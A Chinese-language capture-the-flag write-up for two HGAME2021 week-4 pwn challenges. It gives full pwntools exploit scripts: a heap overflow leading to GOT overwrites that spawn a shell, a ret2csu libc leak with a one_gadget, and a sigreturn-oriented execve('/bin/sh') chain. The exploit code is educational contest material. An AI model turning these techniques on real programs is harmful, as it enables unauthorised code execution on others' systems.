HGAME2021 week4 pwn writeup
第四周只放出两道题,也不是很难。
house_of_cosmos
没开pie,并且可以打got表。
在自写的输入函数存在漏洞。当a2==0时,因为时int类型,这里就会存在溢出。菜单题,但是没有输出功能。
思路:利用溢出将chunk申请到bss段,控制chunk指针,改写free为puts函数,进行泄露libc地址,改写atoi为system拿shell。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size,content):
12 p.sendlineafter('choice >> ','1')
13 p.sendlineafter('data? >> ',str(size))
14 p.sendafter('someting >> ',content)
15 def delete(index):
16 p.sendlineafter('choice >> ','2')
17 p.sendlineafter('id >> ',str(index))
18 def edit(index,content):
19 p.sendlineafter('choice >> ','4')
20 p.sendlineafter('id >> ',str(index))
21 p.sendlineafter('something >> ',content)
22
23 puts_plt = 0x00401040
24
25 add(0x0,'aaaaaaa\n') #0
26 add(0x68,'bbbbbbb\n') #1
27 add(0x10,'ccccccc\n') #2
28 delete(1)
29 edit(0,'a'*0x10+p64(0)+p64(0x71)+p64(0x4040a0-3))
30 add(0x68,'aaaaaaa\n') #1
31 delete(2)
32 add(0x68,'zzz'+'zzzzzzzz'*2+p64(0x0404018)+'\x80\n') #2
33 edit(0,'\x46\x10\x40\x00\x00\n')
34 edit(2,'zzz'+'zzzzzzzz'*2+p64(elf.got['puts'])+'\x80\n') #2
35 delete(0)
36 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['puts']
37 print 'libc_base-->'+hex(libc_base)
38 system = libc_base+libc.symbols['system']
39 edit(2,'zzz'+'zzzzzzzz'*2+p64(elf.got['atoi'])+'\x80\n') #2
40 edit(0,p64(system)+'\n')
41 p.sendlineafter('choice >> ','/bin/sh\x00')
42 p.interactive()
rop_senior
感觉这题应该是想考srop的,因为没有pop_rdi_ret的片段可以使用。但是程序不是用汇编写的,所以存在csu。可以利用csu给寄存器赋值,泄露libc地址来做。(非预期)
1 from pwn import *
2 from LibcSearcher import *
3 #p = process('./pwn')
4 p = remote('159.75.113.72',30405)
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 csu_end = 0x004006CA
9 csu_front = 0x004006B0
10 csu_front1 = 0x004006B6
11 puts_got = elf.got['puts']
12 vuln = 0x0040062A
13 start = elf.symbols['_start']
14 og = [0x4f3d5,0x4f432,0x10a41c]
15
16 payload = 'a'*0x8 # r12->call r13->rdx r14->rsi r15->rdi
17 payload += p64(csu_end)+p64(0)+p64(1)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(csu_front1)+'a'*0x38+p64(start)
18
19 p.sendafter('best\n',payload)
20 puts = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
21 libc = LibcSearcher("puts",puts)
22 libc_base = puts-libc.dump("puts")
23 system = libc_base+libc.dump("system")
24 binsh = libc_base+libc.dump("str_bin_sh")
25 print 'libc_base-->'+hex(libc_base)
26 shell = libc_base+og[2]
27
28 payload = 'a'*0x8+p64(shell)
29 p.send(payload)
30 p.interactive()
预期解是用srop做,其实还是有点手生,当时没做,赛后看了一眼wp写出来的。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context(os='linux',arch='amd64',log_level='debug')
6
7 bss = elf.bss()+0x100
8 vuln = 0x40062a
9 syscall = 0x400647
10
11 sigframe = SigreturnFrame()
12 sigframe.rax = constants.SYS_read
13 sigframe.rdi = 0
14 sigframe.rsi = bss
15 sigframe.rdx = 0x400
16 sigframe.rsp = bss
17 sigframe.rip = syscall
18 p.sendafter('best', 'a'*8 + p64(vuln) + p64(syscall) + str(sigframe))
19 p.sendafter('best', 'a'*8 + p64(syscall)[:7])
20
21 sigframe = SigreturnFrame()
22 sigframe.rax = constants.SYS_execve
23 sigframe.rdi = bss + 0x200
24 sigframe.rsi = 0x0
25 sigframe.rdx = 0x0
26 sigframe.rip = syscall
27 p.send(('a'*8 + p64(vuln) + p64(syscall) + str(sigframe)).ljust(0x200,'b') +"/bin/sh\x00")
28 p.sendafter('best','a'*8 + p64(syscall)[:7])
29 p.interactive()
后记
持续一个月的hgame结束了!

HGAME2021 week4 pwn writeup的更多相关文章
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- HGAME2021 week2 pwn writeup
week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- ISCC2018 Reverse & Pwn writeup
Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
随机推荐
- 分布式事务(七)之Seata简介
在前面的文章中,我们介绍了分布式事务的概念以及一些解决方案.fenSeata是一款开源的分布式事务解决方案,致力于提供高性能和简单易用的分布式事务服务.Seata将为用户提供了AT.TCC.SAGA和 ...
- c语言是如何解析表达式语句"2+3*4;"的?
1. 要编译的测试代码: int main(void) { 2+3*4; } 2. 词法分析 词法分析将字符变成token,其中很重要的是token的类型,如字符2的token类型为TK_NUM,这 ...
- 【JavaSE】集合
Java集合 2019-07-05 12:39:09 by冲冲 1. 集合的由来 通常情况下,程序直到运行时,才知道需要创建多少个对象.但在开发阶段,我们根本不知道到底需要多少个数量的对象,甚至不 ...
- redis的RDB和AOF两种持久化机制
思维导图:我的redis基础知识汇总 RDB持久化机制的优点 (1)RDB会生成多个数据文件,每个数据文件都代表了某一个时刻中redis的数据,这种多个数据文件的方式,非常适合做冷备,可以将这种完整的 ...
- Dirichlet 前缀和的几种版本
[模板]Dirichlet 前缀和 求 \[B[i] = \sum_{d|i} A[d] \] $ n \le 2\times 10^{7} $ 看代码: for( int i = 1 ; i < ...
- 强化学习实战 | 自定义Gym环境之井字棋
在文章 强化学习实战 | 自定义Gym环境 中 ,我们了解了一个简单的环境应该如何定义,并使用 print 简单地呈现了环境.在本文中,我们将学习自定义一个稍微复杂一点的环境--井字棋.回想一下井字棋 ...
- 学习java的第十三天
一.今日收获(前两天家里有事,博客都忘了发了,唉) 1.通过看哔哩哔哩看黑马程序员的教学视频,学习了java中的数据类型自动转换.强制转换及注意事项三节 2.简单看了看完全学习手册 二.今日问题 1. ...
- 学习java 7.2
学习内容:案例一:斐波那契数列从1开始作为第一个数,求第20个数 public class Test { public static void main(String[ ] args){ int[ ] ...
- 日常Java 2021/9/27
题目: 在某个比赛中,有6个评委为参赛的选手打分,分数为1-100的随机整数.选手的最后得分为:除去最高分和最低分后的4个评委分值的平均值(不考虑小数部分). package m; import ja ...
- 学习java 7.28
学习内容: Applet Applet一般称为小应用程序,Java Applet就是用Java语言编写的这样的一些小应用程序,它们可以通过嵌入到Web页面或者其他特定的容器中来运行,也可以通过Java ...